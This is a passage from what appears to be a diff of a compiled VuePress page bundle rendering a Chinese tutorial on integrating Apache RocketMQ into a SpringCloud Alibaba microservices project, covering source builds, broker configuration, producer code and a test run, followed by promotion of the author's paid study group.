punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-client"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("4.5.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在订单微服务shop-order的application.yml文件中添加如下配置。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("producer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("group\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(3)将"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV6Impl")]),s._v("类,复制一份成"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类,接下来,在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类中操作。")]),s._v(" "),a("p",[s._v("将"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类上的@Service注解中的名称修改为orderServiceV7,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV7"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderServiceV7Impl")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略具体代码")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("(4)在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类中,注入RocketMQTemplate对象,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQTemplate")]),s._v(" rocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(5)在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl#saveOrder()")]),s._v("方法中,提交订单成功后将订单信息写入RocketMQ,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Transactional")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("rollbackFor "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("saveOrder")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderParams")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略上面所有代码")]),s._v("\n rocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br")])]),a("p",[s._v("(6)在"),a("code",[s._v("io.binghe.shop.order.controller.OrderController")]),s._v("中,将注入的OrderService的名称修改成orderServiceV7,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Qualifier")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV7"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" orderService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[a("strong",[s._v("注意:订单微服务shop-order中,修改后的代码见源码工程,冰河在这里不再粘贴完整的源代码。")])]),s._v(" "),a("h3",{attrs:{id:"测试项目整合的rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试项目整合的rocketmq"}},[s._v("#")]),s._v(" 测试项目整合的RocketMQ")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos,Sentinel,ZipKin和RocketMQ。")]),s._v(" "),a("p",[s._v("(2)分别启动用户微服务、商品微服务、订单微服务和网关服务。")]),s._v(" "),a("p",[s._v("(3)在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-018","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-018.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)查看用户微服务shop-user的控制台,发现会输出订单的信息,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2022")]),s._v("-05-18 "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v(":37:26.440 INFO "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("server-user,,,"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("18064")]),s._v(" --- "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("MessageThread_1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" i.b.s.u.rocketmq.RocketConsumeListener "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),s._v(" 用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":13176882400989185,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明项目中成功集成了RocketMQ。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了19章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[331],{621:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第19章-消息服务-项目整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第19章-消息服务-项目整合rocketmq"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第19章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务,同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比。接下来,我们就在项目中整合RocketMQ。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-019","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-019.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"rocketmq环境准备"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq环境准备"}},[s._v("#")]),s._v(" RocketMQ环境准备")]),s._v(" "),a("p",[s._v("RocketMQ是阿里开源的消息中间件,目前是Apache下的顶级项目。正式在项目中接入RocketMQ之前,我们需要搭建RocketMQ的环境。这里呢,我把搭建RocketMQ的基础环境分为两个部分:搭建RocketMQ环境和搭建RocketMQ控制台。")]),s._v(" "),a("p",[a("strong",[s._v("注意:冰河这里都是先下载RocketMQ的源码和RocketMQ控制台的源码,然后对源码进行编译后,再搭建的。目的也是让小伙伴们能够跟着冰河实现手动编译RocketMQ的源码,另外,编译RocketMQ源码和控制台源码需要JDK1.8+Maven。")])]),s._v(" "),a("h3",{attrs:{id:"源码编译安装rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#源码编译安装rocketmq"}},[s._v("#")]),s._v(" 源码编译安装RocketMQ")]),s._v(" "),a("p",[s._v("(1)到链接"),a("a",{attrs:{href:"https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3"),a("OutboundLink")],1),s._v("下载RocketMQ 4.9.3版本的源码。下载并解压后的源码如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(2)打开cmd命令行,进入RocketMQ的解压目录,我这里是E:\\Application\\RocketMQ\\rocketmq-rocketmq-all-4.9.3目录,然后在cmd命令行输入如下命令开始编译打包。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("mvn clean "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("install")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-Dmaven.test.skip")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true -Prelease-all\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("编译过程如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("编译打包成功后,如下图所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)编译成功后,会在RocketMQ解压目录下的distribution目录下的target目录下生成RocketMQ的安装包,在我电脑上的目录就是:E:\\Application\\RocketMQ\\rocketmq-rocketmq-all-4.9.3\\distribution\\target。如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这样,我们就自己下载RocketMQ的源码,并打包成功了。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里,为了方便,我还是将RocketMQ部署到我本机Windows操作系统上,小伙伴们也可以将之前的Nacos、Sentinel和这次的RocketMQ都部署在Linux操作系统上,部署方式几乎与在Windows操作系统一样,这里,冰河就不再赘述了。")])]),s._v(" "),a("p",[s._v("(4)将编译出的安装包,解压到电脑的某个目录下,例如我解压后的目录为:E:\\Application\\microservices\\RocketMQ\\rocketmq-4.9.3。")]),s._v(" "),a("p",[s._v("(5)在RocketMQ的解压目录下的conf目录下修改broker.conf文件,修改后的文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("brokerClusterName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" DefaultCluster\nbrokerName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" broker-a\nbrokerId "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\ndeleteWhen "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" 04\nfileReservedTime "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("48")]),s._v("\nbrokerRole "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" ASYNC_MASTER\nflushDiskType "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" ASYNC_FLUSH\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 自动创建Topic")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("autoCreateTopicEnable")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# nameServ地址")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("namesrvAddr")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1:9876\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathRootDir")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# commitLog路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathCommitLog")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/commitlog\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 消息队列存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathConsumeQueue")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/consumequeue\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 消息索引存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathIndex")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/index\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# checkpoint文件路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeCheckpoint")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/checkpoint\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# abort文件存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("abortFile")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/abort\n")])]),s._v(" 